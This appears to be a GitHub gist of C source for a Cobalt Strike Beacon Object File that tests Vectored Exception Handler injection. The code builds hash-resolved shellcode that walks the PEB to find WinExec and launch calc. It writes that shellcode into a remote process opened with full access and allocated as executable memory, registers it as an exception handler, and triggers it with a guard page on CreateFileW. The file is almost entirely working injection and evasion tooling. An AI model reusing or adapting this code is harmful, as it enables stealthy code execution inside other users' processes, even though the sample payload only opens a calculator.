typedef UINT(WINAPI* _WinExec)(LPCSTR, UINT); | |
typedef struct _LDR_DATA_TABLE_ENTRY | |
{ | |
LIST_ENTRY InLoadOrderLinks; | |
LIST_ENTRY InMemoryOrderLinks; | |
LIST_ENTRY InInitializationOrderLinks; | |
LPVOID DllBase; | |
LPVOID EntryPoint; | |
ULONG SizeOfImage; | |
UNICODE_STRING FullDllName; | |
UNICODE_STRING BaseDllName; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
//#define BOF | |
LONG CALLBACK ShellcodeFunc(PEXCEPTION_POINTERS ExceptionInfo) | |
{ | |
#pragma warning( disable : 6011 ) | |
#if defined(_DEBUG) && defined(BOF) && defined(_WIN64) | |
BeaconPrintf(CALLBACK_OUTPUT, "Got instruction pointer value: %p", ExceptionInfo->ContextRecord->Rip); | |
#elif defined(_DEBUG) && defined(BOF) && !defined(_WIN64) | |
BeaconPrintf(CALLBACK_OUTPUT, "Got instruction pointer value: %p", ExceptionInfo->ContextRecord->Eip); | |
#endif | |
#if defined(_WIN64) | |
PPEB peb = (PPEB)__readgsqword(0x60); | |
#else | |
PPEB peb = (PPEB)__readfsdword(0x30); | |
#endif | |
PPEB_LDR_DATA ldr = (PPEB_LDR_DATA)peb->LoaderData; | |
PLIST_ENTRY head = &ldr->InMemoryOrderModuleList; | |
PLIST_ENTRY curr = head->Flink; | |
// Iterate through every loaded DLL in the current process | |
PVOID dllBase = NULL; | |
do { | |
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); | |
// djb2 hash function | |
unsigned long hash = 5381; | |
int c; | |
PWCHAR dllName = (PWCHAR)dllEntry->BaseDllName.Buffer; | |
while ((c = *dllName++)) | |
hash = ((hash << 5) + hash) + c; | |
#if defined(_DEBUG) && defined(BOF) | |
BeaconPrintf(CALLBACK_OUTPUT, "DLL: %ls, Hash=%lu", dllEntry->BaseDllName.Buffer, hash); | |
#endif | |
/* | |
Can use BaseDllName or FullDllName | |
BaseDllName: ntdll.dll | |
Hash: 584300013 | |
BaseDllName: KERNEL32.DLL | |
Hash: 1843107157 | |
BaseDllName: KERNELBASE.dll | |
Hash: 65814507 | |
FullDllName: C:\\Windows\\System32\\KERNEL32.DLL | |
Hash: 174753947 | |
FullDllName: C:\WINDOWS\System32\KERNEL32.DLL | |
Hash: 4236524507 | |
*/ | |
// KERNEL32.DLL | |
if (hash == 1843107157) { | |
dllBase = dllEntry->DllBase; | |
} | |
curr = curr->Flink; | |
} while (curr != head); | |
if (dllBase == 0) | |
goto EXIT_FUNC; | |
#if defined(_DEBUG) && defined(BOF) | |
BeaconPrintf(CALLBACK_OUTPUT, "Finished parsing export table"); | |
BeaconPrintf(CALLBACK_OUTPUT, "DLL Base: 0x%X", dllBase); | |
#endif | |
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBase; | |
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((byte*)dllBase + dosHeader->e_lfanew); | |
DWORD exportDescriptorOffset = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
PIMAGE_EXPORT_DIRECTORY exportTable = (PIMAGE_EXPORT_DIRECTORY)((byte*)dllBase + exportDescriptorOffset); | |
PDWORD func = (PDWORD)((byte*)dllBase + exportTable->AddressOfFunctions); | |
PDWORD names = (PDWORD)((byte*)dllBase + exportTable->AddressOfNames); | |
PWORD ord = (PWORD)((byte*)dllBase + exportTable->AddressOfNameOrdinals); | |
_VirtualProtect pVirtualProtect = NULL; | |
_GetModuleHandleA pGetModuleHandleA = NULL; | |
_GetProcAddress pGetProcAddress = NULL; | |
int n = 0; | |
do { | |
char* funcName = (char*)((byte*)dllBase + names[n]); | |
PVOID funcAddr = (byte*)dllBase + func[ord[n]]; | |
unsigned long hash = 5381; | |
int c; | |
while ((c = *funcName++)) | |
hash = ((hash << 5) + hash) + c; | |
#if defined(_DEBUG) && defined(BOF) | |
BeaconPrintf(CALLBACK_OUTPUT, "Function: %s, Hash=%lu", funcName, hash); | |
#endif | |
if (hash == 3476142879) { | |
pGetProcAddress = (_GetProcAddress)funcAddr; | |
} | |
if (hash == 2219831693) { | |
pVirtualProtect = (_VirtualProtect)funcAddr; | |
} | |
if (hash == 1511341912) { | |
pGetModuleHandleA = (_GetModuleHandleA)funcAddr; | |
} | |
++n; | |
} while (n < exportTable->NumberOfNames -1); | |
#if defined(_DEBUG) && defined(BOF) | |
BeaconPrintf(CALLBACK_OUTPUT, "GetProcAddress: %p", pGetProcAddress); | |
BeaconPrintf(CALLBACK_OUTPUT, "VirtualProtect: %p", pVirtualProtect); | |
BeaconPrintf(CALLBACK_OUTPUT, "GetModuleHandleA: %p", pGetModuleHandleA); | |
#endif | |
if (pGetProcAddress == NULL || pGetModuleHandleA == NULL) | |
goto EXIT_FUNC; | |
char kernel32_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 }; | |
char winexec_name[] = { 'W','i','n','E','x','e','c', 0 }; | |
char command[] = { | |
'c', ':', '\\', | |
'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', | |
's', 'y', 's', 't', 'e', 'm', '3' ,'2', '\\', | |
'c', 'a', 'l', 'c', 0 | |
}; | |
HMODULE kernel32 = pGetModuleHandleA(kernel32_name); | |
_WinExec pWinExec = (_WinExec)pGetProcAddress(kernel32, winexec_name); | |
pWinExec(command, 1); | |
EXIT_FUNC: | |
return EXCEPTION_CONTINUE_EXECUTION; | |
} | |
void END_SHELLCODE(void) {} | |
PVOID FindShellcode(unsigned int* outLen, BOOL trim) | |
{ | |
// Use this trick from Nick Harbour. Extracts the assembly from our own compiled function (ShellcodeFunc) | |
// We create a placeholder function called END_SHELLCODE which is placed directly after our shellcode func | |
// Then we just need to subtract the ShellcodeFunc address from the END_SHELLCODE address to get the length | |
// See: https://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/ | |
// Note: this requires incremental linking to be disabled for debug builds | |
// https://stackoverflow.com/questions/2485336/address-of-function-is-not-actual-code-address | |
PVOID start = ShellcodeFunc; | |
PVOID end = END_SHELLCODE; | |
if (trim) | |
{ | |
// Optionally trim any extra 0xCC bytes after retn | |
while ((byte*)start + (*outLen)++ <= (byte*)end - sizeof(unsigned)) | |
{ | |
//if (*((byte*)start + *outLen) == 0xcc | |
// && *((byte*)start + (*outLen - 1)) == 0xc3) | |
// break; | |
// TODO: do we care about alignment? | |
// If so then add a modulo check here | |
if (*(unsigned*)((byte*)start + *outLen) == 0xCCCCCCCC | |
&& *((byte*)start + *outLen - 1) == 0xC3) | |
break; | |
} | |
} | |
else | |
{ | |
*outLen = ((byte*)end - (byte*)start); | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "Start=%p, End=%p (test: %d)", start, end, (start < end)); | |
BeaconPrintf(CALLBACK_OUTPUT, "Shellcode length=%llu", *outLen); | |
return &ShellcodeFunc; | |
} | |
void RopTest() | |
{ | |
/* | |
InjectVEH!MyVectoredHandler InjectVEH.cpp @ 40]: | |
00007ff6`402c1b10 48894c2408 mov qword ptr [rsp+8],rcx | |
00007ff6`402c1b15 b8ffffffff mov eax,0FFFFFFFFh | |
00007ff6`402c1b1a c3 ret | |
00007ff6`402c1b1b cc int 3 | |
00007ff6`402c1b1c cc int 3 | |
00007ff6`402c1b1d cc int 3 | |
00007ff6`402c1b1e cc int 3 | |
00007ff6`402c1b1f cc int 3 | |
*/ | |
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler); | |
//DFR_LOCAL(KERNEL32, RaiseException); | |
AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)0x4141414141414141); | |
AddVectoredExceptionHandler(0, (PVECTORED_EXCEPTION_HANDLER)0x4242424242424242); | |
//AddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)MyVectoredHandler); | |
BeaconPrintf(CALLBACK_OUTPUT, "Exception handler added"); | |
BeaconPrintf(CALLBACK_OUTPUT, "Enter to continue .."); | |
getchar(); | |
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); | |
} | |
void go(char* args, int len) | |
{ | |
#pragma warning( disable : 6387 ) | |
#pragma warning( disable : 6031 ) | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler); | |
//DFR_LOCAL(KERNEL32, GetCurrentProcessId); | |
//DFR_LOCAL(KERNEL32, RaiseException); | |
//DFR_LOCAL(KERNEL32, OpenProcess); | |
//DFR_LOCAL(KERNEL32, VirtualAllocEx); | |
//DFR_LOCAL(KERNEL32, WriteProcessMemory); | |
//DFR_LOCAL(KERNEL32, VirtualProtectEx); | |
//DFR_LOCAL(KERNEL32, VirtualProtect); | |
//DFR_LOCAL(KERNEL32, VirtualAlloc); | |
//DFR_LOCAL(KERNEL32, CloseHandle); | |
//DFR_LOCAL(KERNEL32, GetLastError); | |
//DFR_LOCAL(KERNEL32, Sleep); | |
//DFR_LOCAL(MSVCRT, memcpy); | |
//DFR_LOCAL(MSVCRT, getchar); | |
//DFR_LOCAL(MSVCRT, fopen); | |
//DFR_LOCAL(MSVCRT, fwrite); | |
//DFR_LOCAL(MSVCRT, fclose); | |
ULONGLONG head; | |
HANDLE hProc = NULL; | |
DWORD dwPid = 0; | |
DWORD oldProtect = 0; | |
SIZE_T bytesWritten = 0; | |
void* alloc = NULL; | |
void* addr = NULL; | |
unsigned int scLen = 0; | |
PVOID scBuf = NULL; | |
FILE* output_file = NULL; | |
datap parser; | |
BeaconDataParse(&parser, args, len); | |
int opt = BeaconDataInt(&parser); | |
BeaconPrintf(CALLBACK_OUTPUT, "Opt: %d", opt); | |
BeaconPrintf(CALLBACK_OUTPUT, "Running in PID: %d", GetCurrentProcessId()); | |
switch(opt) | |
{ | |
case 0: | |
TestAddHandlerDefault(); | |
break; | |
case 1: | |
TestAddHandlerCustom(); | |
break; | |
case 2: | |
AddVectoredExceptionHandler(TRUE, &MyVectoredHandler); | |
BeaconPrintf(CALLBACK_OUTPUT, "Added handler"); | |
head = GetLdrpVectorHandlerList(); | |
DumpHandlerList((PVECTORED_HANDLER_LIST)head); | |
BeaconPrintf(CALLBACK_OUTPUT, "Enter to continue .."); | |
getchar(); | |
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); | |
break; | |
case 3: | |
dwPid = BeaconDataInt(&parser); | |
BeaconPrintf(CALLBACK_OUTPUT, "Target PID: %d", dwPid); | |
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); | |
if (hProc == NULL) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "Unable to open PID=%d, Error=%d", | |
dwPid, GetLastError()); | |
return; | |
} | |
head = GetLdrpVectorHandlerList(); | |
DumpHandlerListEx(hProc, (void*)head); | |
break; | |
case 4: | |
dwPid = BeaconDataInt(&parser); | |
BeaconPrintf(CALLBACK_OUTPUT, "Target PID: %d", dwPid); | |
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); | |
if (hProc == NULL) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "Unable to open PID=%d, Error=%d", dwPid, GetLastError()); | |
return; | |
} | |
scLen = 0; | |
scBuf = FindShellcode(&scLen, TRUE); | |
//alloc = VirtualAllocEx(hProc, 0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
//alloc = VirtualAllocEx(hProc, 0, sizeof(dbgBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
alloc = VirtualAllocEx(hProc, 0, scLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
if (alloc == NULL) | |
return; | |
BeaconPrintf(CALLBACK_OUTPUT, "Allocated shellcode at %p", alloc); | |
//WriteProcessMemory(hProc, alloc, calcBytes, sizeof(calcBytes), &bytesWritten); | |
//WriteProcessMemory(hProc, alloc, dbgBytes, sizeof(dbgBytes), &bytesWritten); | |
WriteProcessMemory(hProc, alloc, scBuf, scLen, &bytesWritten); | |
BeaconPrintf(CALLBACK_OUTPUT, "Wrote %d bytes of shellcode", bytesWritten); | |
RtlpAddVectoredHandlerEx(hProc, FALSE, (PVECTORED_EXCEPTION_HANDLER)alloc, FALSE); | |
// Cause debug exception | |
//addr = GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateFile"); | |
//VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE_READWRITE, &oldProtect); | |
//WriteProcessMemory(hProc, addr, dbgBytes, sizeof(dbgBytes), &bytesWritten); | |
//VirtualProtectEx(hProc, addr, 1, oldProtect, &oldProtect); | |
// Cause a guard page violation | |
addr = GetProcAddress(GetModuleHandleA("kernel32"), "CreateFileW"); | |
VirtualProtectEx(hProc, addr, 1, PAGE_EXECUTE | PAGE_GUARD, &oldProtect); | |
break; | |
case 5: | |
alloc = VirtualAlloc(0, sizeof(calcBytes), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
memcpy(alloc, calcBytes, sizeof(calcBytes)); | |
AddVectoredExceptionHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)alloc); | |
BeaconPrintf(CALLBACK_OUTPUT, "Added calc handler"); | |
head = GetLdrpVectorHandlerList(); | |
DumpHandlerList((PVECTORED_HANDLER_LIST)head); | |
BeaconPrintf(CALLBACK_OUTPUT, "Enter to exit .."); | |
getchar(); | |
RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); | |
break; | |
case 6: | |
RtlpAddVectoredHandler(TRUE, (PVECTORED_EXCEPTION_HANDLER)ShellcodeFunc, FALSE); | |
BeaconPrintf(CALLBACK_OUTPUT, "Added ShellcodeFunc handler"); | |
head = GetLdrpVectorHandlerList(); | |
DumpHandlerList((PVECTORED_HANDLER_LIST)head); | |
BeaconPrintf(CALLBACK_OUTPUT, "Enter to exit .."); | |
getchar(); | |
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); | |
VirtualProtect(GetProcAddress(GetModuleHandleA("kernel32"), "Sleep"), 1, PAGE_EXECUTE | PAGE_GUARD, &oldProtect); | |
Sleep(1000); | |
BeaconPrintf(CALLBACK_OUTPUT, "All done"); | |
break; | |
case 7: | |
scLen = 0; | |
scBuf = FindShellcode(&scLen, TRUE); | |
BeaconPrintf(CALLBACK_OUTPUT, "Shellcode at: %#llx", scBuf); | |
output_file = fopen("shellcode.bin", "w"); | |
fwrite(scBuf, scLen, 1, output_file); | |
fclose(output_file); | |
BeaconPrintf(CALLBACK_OUTPUT, "Written shellcode"); | |
break; | |
case 8: | |
RopTest(); | |
break; | |
} | |
if (hProc != NULL) | |
CloseHandle(hProc); | |
} | |
} | |
// Define a main function for the bebug build | |
#if defined(_DEBUG) && !defined(_GTEST) | |
int main(int argc, char* argv[]) { | |
if (argc < 2) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, " \n Usage: %s <op> <args>", argv[0]); | |
BeaconPrintf(CALLBACK_ERROR, " \n Opcodes:\n"); | |
BeaconPrintf(CALLBACK_ERROR, " 0: Test AddVectoredExceptionHandler (default API)"); | |
BeaconPrintf(CALLBACK_ERROR, " 1: Test RtlpAddVectoredHandler (custom implementation)"); | |
BeaconPrintf(CALLBACK_ERROR, " 2: Add a VEH and wait for input"); | |
BeaconPrintf(CALLBACK_ERROR, " 3: Dump VEH from remote proc"); | |
BeaconPrintf(CALLBACK_ERROR, " \tArgs: <PID>"); | |
BeaconPrintf(CALLBACK_ERROR, " 4: Inject VEH into remote proc (custom implementation)"); | |
BeaconPrintf(CALLBACK_ERROR, " \tArgs: <PID>"); | |
return 1; | |
} | |
int op = atoi(argv[1]); | |
bof::mock::BofData data; | |
data << op; | |
if (argc == 3) | |
data << atoi(argv[2]); | |
go(data.get(), data.size()); | |
return 0; | |
} | |
// Define unit tests | |
#elif defined(_GTEST) | |
#include <gtest\gtest.h> | |
TEST(BofTest, Test1) { | |
std::vector<bof::output::OutputEntry> got = | |
bof::runMocked<>(go); | |
std::vector<bof::output::OutputEntry> expected = { | |
{CALLBACK_OUTPUT, "System Directory: C:\\Windows\\system32"} | |
}; | |
// It is possible to compare the OutputEntry vectors, like directly | |
// ASSERT_EQ(expected, got); | |
// However, in this case, we want to compare the output, ignoring the case. | |
ASSERT_EQ(expected.size(), got.size()); | |
ASSERT_STRCASEEQ(expected[0].output.c_str(), got[0].output.c_str()); | |
} | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment